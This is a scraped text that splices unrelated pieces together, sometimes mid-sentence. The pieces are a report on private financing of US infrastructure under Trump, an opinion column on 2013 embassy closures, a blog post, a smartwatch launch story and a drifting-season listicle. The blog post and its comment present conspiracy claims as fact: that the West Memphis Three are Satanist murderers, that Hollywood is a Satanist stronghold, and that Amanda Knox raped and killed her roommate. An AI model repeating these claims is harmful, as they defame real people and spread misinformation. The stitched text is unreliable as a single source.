Investors may balk at a proposal because there isn't a revenue guarantee. Government officials may also decide that it's more cost effective to use traditional borrowing rather than private financing.
What's clear is that investors are eagerly moving to put more money into infrastructure. It's considered a safer and steadier investment than the stock market, yet has higher returns than bonds.
Wall Street is already lining up. Global Infrastructure Partners closed on a $15.8 billion fund in the first quarter of 2017, according to the data analysis firm Preqin.
The fund was the largest infrastructure fund at the time but was soon surpassed in May when Saudi Arabia announced it would invest $20 billion in a $40 billion infrastructure fund run by Blackstone Group, a private equity firm.
Other fund managers, state and national pension funds and foreign governments are also looking to profit. Preqin found $71 billion ready for infrastructure spending in North America even before the Saudi pledge.
"There has been reasonable investment within infrastructure in the U.S., so it's more of whether we're going to see a real explosion going forward," said Tom Carr, a Preqin analyst.
But private financing comes with risks and drawbacks:
Last month, Texas — an early adopter of privatizing transportation projects — rejected efforts to authorize additional private investment.
Private investors in road projects in South Carolina, Texas, California and Indiana have declared bankruptcy. In some instances, the bankruptcies resulted in a financial loss for the federal government.
A 2015 Congressional Budget Office study found that private financing will speed up the construction of a road but doesn't reduce overall costs or increase with other transportation spending.
Rural communities may lose out since they don't have the population willing to finance projects that can cost billions.
And critics of privatization warn against selling rights to what has long been considered a public asset. They also say private backers are looking for investment returns that could make the projects more expensive to the taxpayer.
Donald Cohen, executive director of the anti-privatization group In the Public Interest, called Trump's vision an attempt to "sell off America" to Wall Street investors. He said private investors will collect their returns by creating toll roads, increasing fees or finding other sources of revenue to get a return on their investment. "There may be lots of folks who actually want to rebuild America but their top job is to generate returns, and they're going to do pretty well under Trump's plan," Cohen said.
Despite the risks, the Trump Administration continues to push for increased private investment. "The private sector can provide valuable benefits for the delivery of infrastructure, through better procurement methods, market discipline, and a long-term focus on maintaining assets," a White House budget document said.
It's unclear, though, when the president will roll out the specifics of his plan or how it will fit into a congressional agenda bogged down by a stalled health care bill, a desire to overhaul the tax code, a measure to lift the debt ceiling and a budget plan that includes infrastructure spending cuts.
Kathrin Heitmann, an infrastructure analyst with Moody's, said that's why she doesn't expect an impact from Trump's plan in the short-term. "We are very cautious that the $1 trillion infrastructure investment can be realized," she said.
Heitmann also pointed that it will take a long time for projects to get started even if Trump's plan becomes law later this year. The lag between funding approval and project completion could mean that nothing substantial happens until the end of Trump's term in 2020. "It looks like that some of this funding will only peak at the end of the current administration's term," she said.
Adding to the uncertainty, public records show Trump's top infrastructure adviser is pushing states to finance construction projects without any help from the federal government, a quiet shift in rhetoric that reflects the president's onerous budget realities. That could be a blow to local governments since many have historically relied on federal funding to complete infrastructure projects.
Whether Trump's plan becomes law or states independently embrace privatization, it would come years after other countries took similar action. Australia, Canada, the United Kingdom and other western European countries have sold the rights to road and bridge projects, airports, water treatment facilities and schools to private investors.
Infrastructure projects that include private financing
President Trump says that his preferred projects will either be completely or partially funded with private dollars. An APM Reports analysis shows that at least 46 projects nationwide — either transportation or water — fit that category. This list is derived from an analysis that APM Reports published in May showing 520 projects submitted to the Trump administration for possible inclusion in a federal infrastructure package. Most of the projects — 398 — fell into two general categories: transportation (including highways, bridges, freight rail, mass transit, aviation and shipping,) and water (flood control, sewage treatment and drinking water). Reporters analyzed those projects and determined sponsors were considering private financing for 46 of them. Those projects are spread over 23 states and the District of Columbia. Eight of the projects are completely private, while 38 have the potential for financing through public-private partnerships. Under that financing model, private investors help cover the costs of construction, repair or even maintenance in exchange for an ongoing revenue stream such as the tolls motorists pay to drive on a turnpike. Click on the map to filter the table by that state's projects.
Map and table by Will Craft | APM Reports
Only two projects for rural America
The analysis by APM Reports shows that larger population centers are the primary focus for private investment. Of the 46 projects that could rely on private investment, just two are located in and would serve rural America. Both are in Alaska.
Eight projects are located in rural communities but primarily serve urban population centers, including two privately financed projects that would allow companies to ship water from rural parts of California and New Mexico to urban areas.
The lack of financing opportunities for rural America is a bipartisan concern in Congress. Lawmakers worry that private money will chase the highest return, typically found in higher population centers instead of financing the neediest projects.
"There are thousands of miles of highway and tens of thousands of bridges that need work that can't make money," said U.S. Rep. Peter DeFazio, D-Ore. "No private sector person is going to buy them and repair them, because there isn't enough volume."
Some lower-population states are trying to get creative to attract private investment. Five — Idaho, Montana, Wyoming, South Dakota and North Dakota — want to build a coalition and offer a bucket of projects that could build interest among private investors, according to William Panos, director of the Wyoming Department of Transportation. He hopes the effort will leverage private money and funds from Trump's infrastructure plan.
"There's a really robust effort on the part of the administration and the Congress to look at ways of using P3s in rural states inclusively," he said.
Texas, Virginia, Colorado and Florida are among some states active in the P3 market because they passed laws allowing for widespread use of the public-private agreements.
However, 13 states, including New York and Iowa, don't allow public-private partnerships, according to the Associated Builders and Contractors Inc., a trade group for the national construction industry. States without such agreements would need to pass laws, at least on a project-specific basis, in order to enter into an agreement with a private entity.
Meanwhile, the nation's largest metropolitan areas are receiving unsolicited bids from private funds.
In November, voters in Los Angeles County approved a new half-cent sales tax and extended an existing half-cent sales tax. The increase is projected to raise $120 billion over 40 years. Even before the measure passed, private investors submitted unsolicited proposals to the Los Angeles County Metropolitan Authority.
California Gov. Jerry Brown asked the Trump Administration to include three Los Angeles County transit projects in its infrastructure plan. They are a 9-mile extension of an existing transit line, a connector to the airport and a bus rapid-transit line.
Experts say financing projects like those in Los Angeles County are perfect for investors looking to capitalize on long-term projects. The city is the second largest in the country, and county voters just approved a long-term funding stream that's attractive to private investors.
Other states are focusing their efforts on one project in a larger metropolitan area. In Alabama, officials are considering an expansion of the Mobile River Bridge to increase capacity along the I-10 corridor from four to eight lanes.
"Right now, it's the only ALDOT (Alabama Department of Transportation) project that seems to have the potential for development under the public-private funding scenario," department spokesman Tony Harris said via email. "The reality, though, in Alabama and across the United States is that more consideration will be given to how to fund major projects using traditional as well as P3 approaches."
Private financing is becoming a more attractive option as cities, counties and states grapple with tight budgets, a transportation system that is costly to maintain and a desire to build new projects that serve a growing population. The financing mechanism also allows state officials to finance projects without raising gas taxes.
"States are becoming more enamored of this because they're able to deliver projects sooner," said Shailen Bhatt, executive director of the Colorado Department of Transportation. "It allows you to advance a project without necessarily, say, raising your gas tax."
But Bhatt says there are only so many projects that can be financed with private money. And he said federal and state officials should not ignore a gas tax increase as an option. Since Colorado is an early adopter in public-private partnerships, Bhatt would prefer Trump focus his plan on directly funding projects.
"If the president's plan was just more financing opportunities, well, we're already moving on that path on our own," he said.
The trade group for the national construction industry is also directing most of its efforts on states when it comes to public-private partnerships and infrastructure investment.
Ben Brubeck, an executive with Associated Builders and Contractors, said his organization has been pushing for an infrastructure package on the federal level but said the states are where he sees the most action. "If you look at the deal flow here in the United States, it's happening at the state level and not really happening at the federal level," he said.
The Hampton Roads Bridge Tunnel in Hampton, Va. - Steve Helber/AP
Trump's lack of specifics worries local leaders
Since President Trump was elected, anticipation has grown that the real estate billionaire would deliver on his promise to spend $1 trillion on infrastructure. He's met with union leaders, state and local officials and private business leaders trying to build support.
He's also assembled an infrastructure team led by New York real estate investors Richard LeFrak and Steven Roth. LeFrak has personal ties to the president, and Roth and Trump have a business relationship.
In May, the White House released Trump's budget proposal, which included spending $200 billion in "federal outlays to the infrastructure initiative," but didn't specify how the money will be spent.
And from some departments, Trump cut infrastructure funding.
He proposed a 13 percent reduction to the U.S. Department of Transportation general fund budget, eliminating funds for new transit projects and gutting a $499 million grant program that has paid for road, bridge and transit projects. The plan also eliminates a $500 million water and wastewater loan and grant program at the U.S. Department of Agriculture, but boosts funding for water and wastewater infrastructure at the U.S. Environmental Protection Agency.
Since then, there have been few other details. In June, during a week devoted to promoting his ideas about infrastructure, Trump pledged $25 billion to rural projects and $15 billion to spur what he called "transformative" projects. An accompanying document didn't elaborate on the spending or say whether the funds are included in his $200 billion request.
And despite pleas by White House officials that journalists cover the president's policy agenda instead of allegations of Russian interference in last year's election, they didn't return repeated requests for comment about Trump's infrastructure plan.
The lack of specifics regarding infrastructure — and a budget that weakens infrastructure-related programs — have left state and local government officials wondering when a plan will be released and whether it will benefit them.
Documents show White House officials were still working to craft a policy in March despite a campaign rollout in October, a two-month presidential transition that focused on assembling wish lists from states and multiple meetings since the inauguration to discuss policy.
During a conference call with state leaders on March 23, D.J. Gribbin, the president's infrastructure policy adviser, was reluctant to embrace any plan and emphasized that he was only speaking for himself, not for Trump or other White House officials, according to a readout of the call.
And adding to the uncertainty, notes from the call — captured in an email from Adam Zarrin, a policy adviser to Colorado Gov. John Hickenlooper — show that Gribbin wants states to build projects without federal help. "They really are most excited ‘about projects [states] are paying for' and not the federal government. Want states to help themselves," read Zarrin's email.
Gribbin did not respond to an interview request.
The White House has aggressively courted states on infrastructure. In December, Trump's transition team requested a list of "shovel-ready" projects from governors. The White House also met in June with a group of county officials, mayors and Native American leaders to discuss infrastructure needs. The vast majority of those in attendance were Republicans.
Through the National Governor's Association, governors submitted a list of projects to the White House. Union officials, infrastructure consultants and campaign aides also submitted requests. It isn't certain whether White House officials are relying on those lists as it crafts its policy.
Others say they weren't approached to submit a list of projects. Oklahoma City Mayor Mick Cornett, who served as president of the U.S. Conference of Mayors through June, said his organization wasn't solicited. He's skeptical that any plan relying solely on private investment will work.
"I wouldn't get overly optimistic that the private sector is going to come to the rescue for America's infrastructure projects," Cornett said. "I don't think that's likely. And if that's the hope and dream, then we're probably going to be waiting a long, long time."
Cornett said that it's often cheaper for government officials to finance projects through government borrowing. He says cities, counties and states with a solid credit rating will likely get a cheaper rate than the private sector.
While many states are becoming more active in courting private investment, one een an early adopter is changing course.
A deep red state rejects Trump's vision
Texas State Highway 130 offers a vivid example of how Trump's vision for infrastructure could spark projects. It also shows how some Texans have revolted against toll roads that have been privately financed.
In 2012, Gov. Rick Perry appeared at the grand opening of the highway. His speech focused on how the 41-mile stretch of road between San Antonio and Austin would reduce congestion on another busy freeway, Interstate 35. Perry, who now serves as Energy Secretary in the Trump Administration, also targeted critics of privatization.
"When we debated this concept back in 2003, there was no shortage of individuals both inside and outside the Capitol that said it wouldn't work," Perry said at the time. "Today's proof that the concept is complete, and it can be seen in concrete and asphalt."
His vision focused on the financing of public and private toll roads to spur road construction. The record shows Perry was successful.
A state report last year showed 53 toll roads spanning 671 miles in Texas. Many were built in the past two decades. Some, like State Highway 130, are privately operated. Others are managed by local governments or the state.
State officials claim that 10 public-private partnerships established since 2003 have generated $17 billion in construction. And Marc Williams, deputy executive director of the state's transportation department, said public-private financing was critical to speedy completion.
But swift, private construction and tolling doesn't guarantee a healthy return on investment. In 2016, the SH 130 Concession Company, which built the highway, declared bankruptcy. The firm — owned by Cintra, a Spanish company, and a consortium of Australian entities — cited less traffic than projected, according to bankruptcy records.
The combination hasn't proven politically popular, either.
Critics say the financial failure should be a warning to the Trump Administration about the unpopularity of toll roads in Texas. "If you want to lose a voter, the fastest way you do it is to take $300 or $400 out of their pocket every month," said Terri Hall, who runs Texans for Toll-Free Highways.
Hall, a Republican who says she voted for Trump, intends to lobby against increased private investment in transportation. She said Trump and others who back privatization will have a political problem on their hands. "They're going to have a rude awakening if they think that this is going to be something acceptable to the average Joe," she said.
Hall's lobbying appears to have been successful in Texas. Gov. Gregg Abbott opposes more toll roads, and the Texas House of Representatives defeated a bill in May that would have allowed communities to negotiate private financing for 10 projects.
No matter; Texas communities seem undaunted and state transportation officials are still lobbying the Trump Administration to include an expansion of I-635 in its infrastructure plans.
Douglas Athas, mayor of Garland, Texas, said private investors are interested in expanding the highway from 10 lanes to 15 lanes. He said the $1.6 billion proposal would ensure the project is finished more quickly. The program relied on allowing the investors to collect tolls on a few of the managed lanes that run near existing lanes.
Like the federal government, Texas has not raised the gas tax since the early 1990s, which has slowed new road construction that's led to congestion as the state's population soars.
"Politicians are scrambling to solve a problem," said David Ellis, a research scientist at the Texas A&M Transportation Institute, and manager of the Infrastructure Investment Analysis Program. He said some toll roads, specifically in the Dallas-Ft. Worth area, have been effective. After all, said Ellis, while no one likes paying a toll, the alternative is waiting in traffic.
Drivers along SH130 say they've been forced to weigh those options.
D.J. Shaw, a daily commuter on that Texas highway, said he hates paying $15 a day in tolls to drive from Seguin to Del Valle. But he said it's better than spending an extra 30 minutes on I-35. "It costs so much money and there's no other way to go," he said. "Nobody likes sitting on I-35 so they kind of got you cornered."
Williams, the state transportation official, said the legislative action means it's unlikely that any new toll roads will be financed over the next two years. But he's confident his department will secure federal funding when Trump's infrastructure plan is introduced. Williams also said Texas will spend as much as $3 billion a year more on transportation projects after voters approved a ballot measure dedicating general fund money to projects.
But even as Texas distances itself from the P3 model, other states are enticed by the concept.
The Howard Street Tunnel in Baltimore. - Patrick Semansky/AP
Sophisticated investors versus government
The model — public-private partnerships — took off in the U.S. during the mid-2000s. Chicago's sale of the rights to the Chicago Skyway in 2005 was the first major project. For $1.8 billion, the city gave up the leasing rights to the nearly 8-mile road for 99 years.
"It was a very startling idea at the outset," said Schmidt, the attorney involved in similar projects elsewhere. He expects more public-private partnerships — regardless of whether Trump's infrastructure plan becomes law — because politicians are struggling to fix a deteriorating infrastructure system.
"I think if we can figure out a way to cut through the political resistance and realize the value, it can be an enormous strength and really provide massive resources in meeting other infrastructure needs," Schmidt said.
A P3 deal either results in a private group building a new road, bridge, water plant or building, or recycling an existing structure. There are two ways a private group can make money on its investment:
The first is a concessionaire agreement, which allows the government to sell the rights to a highway, for example. Private operators then collect tolls or fees after they pay the costs of building a new highway or fixing an existing one. Such deals typically come with a multi-decade lease agreement. State Highway 130 in Texas, the Indiana toll road and the Chicago Skyway are examples of concessionaire agreements made in the past 15 years.
The other financing model is known as an availability payment. These deals also rely on a private investor to pay upfront costs and maintenance for a project. It differs from a concessionaire agreement because the government then makes regular payments to the investors for decades, ensuring a return on investment. In Pennsylvania, a 2012 deal helped the state to rebuild and maintain 558 structurally deficient bridges in exchange for $1.8 billion over 28 years.
Bridge No. 418 over Little Deer Creek in Indiana Township, Pennsylvania, was completed in the the Rapid Bridge Replacement Project. - Courtesy of Plenary Walsh Keystone Partners
Regardless of the model, critics and even some supporters of public-private partnerships warn that the public loses control over infrastructure assets when a deal is done. A citizen upset with a road project or a new toll, for example, can't complain to an elected official and get relief.
"When you enter into the P3, you now have a third party that is now in the process," said Aubrey Layne, Jr., Virginia's Secretary of Transportation.
Unwinding a deal, he says, no longer means taking a vote in the Legislature or at a city council meeting. Instead, private investors want something in return if a government reopens a contract.
Layne said governments going into P3 agreements need contractual precision and an amount of prescience because deals could last decades.
Moreover, attorneys and financial consultants are critical to protect the public's interest, he said, because private investors are typically armed with savvy financial analysts, lawyers and contractors who have negotiated these complex deals in the past.
Cities and counties, particularly those with smaller population centers, may not have the same experience or budget to retain a high level of expertise to protect their interests. "These are some of the most sophisticated investors in the world you're going to be negotiating with," Layne said, cautioning that naivete will result in a bad deal for the public.
Cohen from In the Public Interest analyzes the choice more cynically, saying that too many policy leaders look for private investment instead of making the difficult choice of raising taxes. He said there's little worry because the policy leaders often leave office before there's blowback from an increase in fees or tolls. "They don't have to answer the question in eight years about what happened to the tolls when they're tripled," Cohen said.
Financial risks for taxpayers
In fact, a key selling point of public-private partnerships has been the financial protection of taxpayers. The private sector typically assumes most of the risk in the deal. When the private backers of the Indiana toll road filed for bankruptcy in 2014, for example, taxpayers there didn't see a loss.
However, that's not always the case.
At least three times in the past seven years taxpayers have been on the hook for business failures, each stemming from a federal loan program — called the Transportation Infrastructure Finance and Innovation Act (TIFIA) — which President Trump wants to grow.
The program helps finance transportation projects through direct loans, loan guarantees and lines of credit. In budget documents, the Trump Administration claims TIFIA is a success.
"One dollar of TIFIA subsidy leverages roughly $40 in project value. If the amount of TIFIA subsidy was increased to $1 billion annually for 10 years, that could leverage up to $140 billion in credit assistance, and approximately $424 billion in total investment," the document states.
But TIFIA loans have put taxpayers at risk:
In 2010, the private investors of the South Bay Expressway in California declared bankruptcy. When the investors emerged from bankruptcy in 2011, the U.S. Department of Transportation took a $47 million loss on a $140 million loan that helped finance the road.
In 2014, the U.S. Department of Transportation sold a federal loan it held on the Pocahontas Parkway in Virginia to private investors at a 59 percent loss. Anthony Foxx, who was the Transportation secretary, said he chose to sell the loan after private investors signaled they were losing money on the nearly 9-mile toll road near Richmond.
And the bankrupt Texas highway — State Highway 130 — was initially financed with a $430 million federal loan. It emerged from bankruptcy in June with new ownership and $260 million in new financing. The federal government received $16 million for the loan.
The Texas agreement also brings an ironic twist: The investors who insisted the private sector could manage transportation projects better than the public sector will now answer to a new owner: the federal government, which now has a 34 percent stake in the toll road.
Maria Curi, Ryan Katz and Andy Kruse contributed to this report.
“I think the best compliment I can give is not to say how much your programs have taught me (a ton), but how much Marketplace has motivated me to go out and teach myself.” – Michael in Arlington, VA As a nonprofit news organization, what matters to us is the same thing that matters to you: being a source for trustworthy, independent news that makes people smarter about business and the economy. So if Marketplace has helped you understand the economy better, make more informed financial decisions or just encouraged you to think differently, we’re asking you to give a little something back. Become a Marketplace Investor today – in whatever amount is right for you – and keep public service journalism strong. We’re grateful for your support. BEFORE YOU GOSummertime, and the chicanery is easy. The Obama administration’s latest rendering of our invisible but eternal “terrorist threat,” I mean.
After a week of ghost stories about an imminent but vaporous plot on the part of an al-Qaida “affiliate” — this is the big new word — it is hard to decide which is more disheartening: 1) The White House’s blithe if clumsy deployment of factoids, 2) the supine complicity of the media (and this, frankly, is my choice), or 3) the willingness of honorable liberals and capital-D Democrats to go along with the show simply because Obama is maestro and one stays with Obama no matter what he does.
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Nothing can be said for certain as to what prompted the State Department to close more than 20 embassies and consulates in the Middle East and North Africa last Sunday, and this is by design. But it is no excuse not to raise the possibility that Americans are eating a summer salad of nonsense served to justify objectionable surveillance practices now coming in for scrutiny.
This prospect seems so self-evident that one feels almost silly raising it, except that so few have. Let us insert it into the conversation. To me, the silence among our newspapers and broadcasters on this point confirms only how dangerously circumscribed American political discourse has become. It is all text and subtext now, and the subtext, by definition, is known but never allowed to pierce the surface of silence.
Washington has been erecting a quite warped worldview atop the terror narrative since 2001, if there is anyone left who has not noticed. Our once-promising president has signed on, and plenty of people seem intent on not noticing this. But flinching is of no use. It is imperative that this nation come to clear, proper terms with the question of terror. Reversion to the paranoid style, a habit that dates to America’s founding, is already producing damaging consequences.
Now that we are onto history and the purposeful production of paranoia, let us revisit the late winter of 1947 — March 12, to be exact. That is the day Harry Truman began the Cold War, by the reckoning of many (not all) scholars. Truman wanted to send $400 million to the Greek monarchy to suppress a popular, mixed-bag rebellion. But would a stingy, isolationist Congress buy into this momentous move? The American public was in no mood, either. (In the bargain, the monarchy in Athens was crypto-fascist even by the accounts of State Department diplomats.)
Truman found a friend in the chairman of the Senate Foreign Relations Committee, Republican Arthur Vandenberg, who delivered a line long famous among Cold War historians. Come to the Hill, Vandenberg urged. “Make a personal appearance before Congress and scare the hell out of the American people.” Truman did, Congress clapped, the Greeks got the military aid, and Americans got desirably scared. So ensued the wastage of the next 42 years.
Always useful to revisit the past. In this case, one can decently suggest what I will now: It is more plausible to look upon the embassy closures and the official accounts thereof as political theater and insulting, cynical manipulation than it is to accept them at face value.
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The Cold War was a dread, if we ever get around to looking at it squarely. And we are at it again, the nation that seems to know itself only by way of a constant enemy. It is so uncannily the same: another gross corruption of democratic principle even as we have not recovered from the last one, another squandering of our time as the world moves on.
There is a chronology to consider, and it has the virtue of being factually so, however material it may prove. I put the start of recent events back to last May, when Obama spoke at the National Defense University. His topic was the “war on terror,” and the piece was stirring — bold, new, encouraging. “This war, like other wars, must end,” Obama said. “That is what history advises. That is what our democracy demands.” As to al-Qaida, he had decapitated it, the president said proudly, and the group was “on the run.”
In my interpretation, this was too much for the defense and intelligence establishments. And it shortly became more than too much when Edward Snowden, the National Security Agency contractor, began releasing the documents he had lifted to expose the NSA’s excesses. There followed the unwelcome light that now shines on the constitutionality of surveillance laws passed in the years after the attacks of 2001.
Now we find that al-Qaida was not on the run after all. It has fragmented, and this is where all the “affiliates” come in. There are said to be enough affiliates to keep the NSA supplied for years. In this case, intelligence picked up a telephone conversation (those incautious Islamists) between a powerful giver of orders in Pakistan — from the decapitated, fragmented al-Qaida — and an underling in an affiliate in Yemen. The alleged command was to attack.
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The rest is smoke. No what, no when, no where.
So many curiosities come with this narrative. Although an attack was “imminent” and its likelihood “extreme,” and although 20-odd diplomatic stations had to shut, we here in America did not have to do anything. Why was this? It is a legitimate question. It reminds me of George W. Bush after the Sept. 11 tragedy: We are at war. Now get out there and shop.
Among my favorite moments was one last Sunday on “Face the Nation,” the CBS interview show. It was shortly after the “threat” announcement, and Bob Schieffer was talking to Michael McCaul, the Texas Republican and chairman of the House Homeland Security Committee. Schieffer lobbed a softball as to a connection between the intercepts revealing a threat of attack and the NSA’s constitutional travails post-Snowden. “I perceive the attack as very imminent,” McCaul intoned. And then this: “Of course, when you let them know you know, they often back down.”
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The fun hardly starts and they are getting us ready for nothing to happen. Go figure, as we used to say.
Credit to Schieffer for even raising the issue. His query was so twist
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Johnny Depp with Damien Echols. Murder a child,become a hero)
Peter Jackson, Henry Rollins, Natalie Maines, Eddie Vedder, Johnny Depp, Metallica, Disturbed, L7, Trey Parker, Jack Black, Winona Ryder, Will Ferrell, Robert Smith, Patti Smith, Marilyn Manson, Shepard Fairey, Tom Waits, Clive Barker, Peter Straub, Margaret Cho, Dan "The Outlaw" Hardy, Patton Oswalt, Sarah Silverman, Axl Rose, Iggy Pop, Steve Earle, Hank Williams III, Chuck D, Mandy Moore and Demi Lovato. This proves Hollywood is a stronghold of Satanism; and many movie stars and musicians are cult members. 1
These celebs raised an estimated $10-20 million to hire the best attorneys and public relations professionals to apply pressure upon the Arkansas legal system. This pressure paid off: the West Memphis Three were released from prison in November of 2011. This release supposedly represented a triumph of justice against a shamelessly biased police department and a good ol' boy Arkansas court system.
After their release, the West Memphis Three traveled the country speaking about their harrowing experience. Damien Echols even penned a best-selling book, Life After Death, which recounts his nineteen year ordeal on death row in Varner Supermax prison. To this day, members of the West Memphis Three pronounce their innocence to the American public on radio programs and on nationally televised shows such as Piers Morgan, Anderson Cooper, Eliot Spitzer and The View.
GUILTY
Unfortunately, the narrative presented by the convicted murderers and their supporters is a lie. Voluminous evidence compiled by the Arkansas police and court system points directly to the West Memphis Three as the perpetrators. Not only did each one of the guilty confess at different times, Jesse Misskelley confessed four times to legal authorities. These confessions by Misskelley contained details about the murders known only to persons at the crime scene.
In addition, the West Memphis Three were involved in witchcraft and Satanism. Damien Echols not only engaged in the practice of witchcraft before he was arrested, his obsession and promotion of occult practices continues to this day. His involvement in witchcraft and Satanism is abundantly evident in trial transcripts and police reports.
Speaking to Damien Echols on his CNN television program, Piers Morgan, left, said the following:
"You come across to me as somebody grounded, intelligent, eloquent...not the things you would associate with the portrayal of you in your courtcase as this Devil worshipping, satanic, occult obsessed, you know, wierdo, dangerous maniac who could be capable of killing three young children." 2
Echols moved to the town of Salem, Massachusetts, city of the original Colonial witch trials. He has told reporters he feels comfortable there, as the residents less likely to engage in another "witch trial."
The twenty year long West Memphis Three saga underlines important themes in current American culture:
a.) Liberal Hollywood aches to find causes that fit into their fixed worldview, regardless of the facts and evidence,
b.) The power of public relations and national media to shape public perception and opinion,
c.) The skilled manipulation of public opinion, used as leverage by attorneys to influence in court decision-making.
The incomplete West Memphis tale continues to add
chapter after chapter. A documentary titled West of Memphis will be released nationwide on January 18th of 2013, and a major motion picture about the case, starring Reese Witherspoon and Colin Firth, is set for release in 2013. You can be sure they will toe the liberal line.
I have penned a series of articles that contradict the public narrative and conclusively show that the release of the West Memphis Three not only is a mistake, but is a clear and present danger to the American public.
-------
WILLIAM RAMSEY is the author of Abomination: Devil Worship and Deception in the West Memphis Three Murders and Prophet of Evil: Aleister Crowley, 9/11 and the New World Order
For more information on THIS ABOMINATION - occult911.wordpress.com
RELATED - Ramsey - Damien Echol's Satanist Record
First comment from Dan:
This liberation of ritual murderers isn't an isolated anomaly. It's a trend.
I lived in rural Arkansas and know that local law and judges can be bought. In a high profile murder as heinous as this case was I think it would have taken a lot more more than cash.
Damien Echols was the lowest trailer trash on the totem pole in West Memphis pecking order. The crime brought a lot of negative attention to the town and the state. Local authorities were fine with locking he and his little 'droogies' in the State pen and throwing away the key.
Why should these sleazy movie stars genuflect for Echols, the scum of the Earth? This is part of a trend in the last decade to glamorize and release convicted muderers; The common denominator is the allegations or evidence that these were in fact ritual Satanic sacrifices.
(Knox,left, on learning she will be released)
Released to cheers from the Media in 2011 was Amanda Knox - the Seattle exchange student who raped and sliced up her room mate Meredith Kerchner with a black Ivory Coast resident of Perusia during a Halloween binge in 2007.
Ask the victim's parents if they believe Knox is innocent. Meredith Kerchner's father remarked that in contrast to powerful forces coming to the aid of Amanda Knox, the burden of proof was placed on the victim's family. "We were surprised at the lack of financial help available from the British Government as we dealt with the aftermath of Meredith's death.... Indeed, it seemed this was a policy decision, one that did not affect just us, but anybody who had suffered an ordeal such as ours. This lack of help was despite the fact that we were obliged to provide testimonies in court."
It's all been about Knox - not justice for my daughter'
Not only did Amanda's family get heavy international media support, she continues to be a darling celebrity.
Let's be honest -- the media makes stars of these people as a wink that they 'got away with it'.The Ticwatch, a worthy (and more affordable) alternative to the Apple Watch, is back with two new models.
You may remember the second-generation Ticwatch from last year. The watch raised over $2 million on Kickstarter and now parent company Mobvoi, which includes Google and VW among its financial backers, has introduced a new model aimed at a younger audience (Ticwatch E) and a sporty version (Ticwatch S) too.
For both models, Mobvoi has swapped its own custom ‘Ticwear’ operating system in exchange for Android Wear. While it will continue to sell watches based on its OS in China, CEO Zhifei Li told TechCrunch in an interview that it makes more sense to ship with the Google software in the rest of the world. That’s because Mobvoi has developed an advanced set of services and apps for Ticwear, but they don’t work overseas. Rather than devoting time to develop the overseas options, Li said working with Google made more sense, particularly given that it is a Mobvoi investor.
He added that the company is currently selling around 200,000 watches per year, of which 50,000 are outside of China. Mobvoi’s business spans a range of verticals, using its core AI platform, and Li said that were it to be an independent business, Ticwatch would be profitable.
As for the new watches themselves, they are on sale via Kickstarter, where they have already raised more than $500,000 within the first 24 hours of launch.
[gallery ids="1513691,1513692,1513693,1513694,1513695"]
The Ticwatch E has a retail price of $159 but is currently available for as little as $99, while the Ticwatch S’s full price tag is $199 it is on offer from $119 upwards via Kickstarter. Both are tentatively scheduled to ship to backers in November of this year.
Kickstarter is the launch pad for the watches, but Li told TechCrunch that Mobvoi plans to work with U.S. retailers to sell the products in brick and mortar stores later this year. He said the watches will also be available via Amazon in order to expand distribution.10. Mad Mike Should Be Furious
The deal with Mad Mike was a mess. Ken Gushi was at fault for an accident and Mad Mike was limited to a ridiculous 10 minutes to fix his car and then a competition timeout to have his car running. I think the series needs to push for a “10 minute minimum time to fix car” this way we aren’t holding up the show for a final battle but if we have a 90 minute break. Let the damn guy fix his car, run, and entertain the fans paying a ridiculous amount of cash to watch drifting. Poor Ryan Tuerck fans got to see him run ONE tandem battle all weekend and he landed on the podium (more on that later). Anyway, Mad Mike threw his steering wheel out of his car on the Livestream and fair play to the guy. He should be beyond pissed off that the series made this ridiculous rule preventing him from running in the first place. A terrible way for him to wrap up a season of bad luck. He did release an awesome video of him drifting in South Africa today which seems much better than the fact that someone also stole his HARO BMX bike.
9. Odi Bakchis Makes the Stand Up Move
Odi Bakchis finished this season in fourth place which was one better place than 2015 when he finished in fifth. During his battle with Forrest Wang his 240sx broke on entry on what was sent to be one of the best battles of the night. In fact, Odi Bakchis asked his spotter to tell the judges/FD staff that the contact was his fault because his car broke. An interesting and respectable move considering he could of finished third for the season by beating Forrest Wang in that battle.
8. The Occassion Finally Got to Aasbo
Fredric Aasbo drifts lap after lap at track after track all year round at such a consistent level you could probably put a baby to sleep in his passenger seat. However, at Irwindale Speedway he made a huge error battling Matt Field that I cannot remember ever seeing before. He surged into Matt Field in tandem resulting in them having an accident that Aasbo was at fault for. This just shows how hard a back to back championship run can be.
7. Tyler McQuarrie Hit More
Tyler McQuarrie was hit more this weekend in his poor Camaro but he didn’t have the Irwindale podium performance I hoped was coming. He has done a ton of driving this year in various motorsports and maybe it has hurt him more than helped him? I wonder if he has started to develop a little of a unique drifting style from his other driving skills that has resulted in him being hit over and over and over again. Not really sure but I want to see Tyler McQuarrie back in his super focused form next season with the Camaro. Did anybody count how many times this car got hit this season? Geez
6. Matt Field Has Come Good
I saw this one coming for a long time I must say and Matt Field has seriously come good with back to back wins at Texas and Irwindale. He finished the season in 5th place but the real test for him will be Streets of Long Beach 2017. He will need to come out of the gate strong and really put the pressure on early to make a serious championship run. If you look back into his 2016 season the Top 32 exit against Faruk Kugay really was the biggest make and lowest point total he brought in for the season. I think Matt Field could join the top ranks next season and shake up the championship even more.
5. Track Layout Perhaps Made Drifting and Show Suffer
I think the track layout resulted in poor tandem this year and it needs to be adjusted again if Irwinadle Speedway survives another season. Inside clip one was moved a little bit and I think it should return to its old place to make drifting smoother. The other bigger mistake I think was inside clip two/finish line area that seemed to result in really non fluid drifting to the exit and broke up the cars in tandem. I would almost love if they cut across the center of Irwindale and drift the opposite way around the insane bank and finish the race towards the fans but just a thought. What they did to setup the course went in the wrong direction this year. Also, why can nobody drifting the bank all the way up on the wall anymore? Did anybody else notice that?
4. The Judges Don’t Agree Anymore
An interesting observation I made this weekend is the judges cannot agree about anything anymore. At first, I thought the judges might have changed their view points but looking deeper into it I have found the driving levels are just that elevated with the reduced vehicle field. A quick example to look at this is championship points from 2016 to 2014. In 2014 Chris Forsberg won the championship with 561 points out of 700 and Fredric Aasbo finished second with 550 points of 700. In 2016 Chris Forsberg won the championship with 539 points out of 800 and Fredric Aasbo finished second with 502 points of 800. The points have been tweaked slightly since 2014 but not enough to really impact these results. This was an interesting data point I found when researching this. However, what the fans are getting is way more OMT battles in 2016 compared to seasons past.
3. Chris Forsberg Is First 3 Time Champion (23% of Champions Are His)
Chris Forsberg has now won 3 of the 13 Formula Drift championships in history and 1 of the 2 World Championships. That is a pretty crazy record for anyone to wrap their heads around. Congrats to him and his team on the stellar performance.
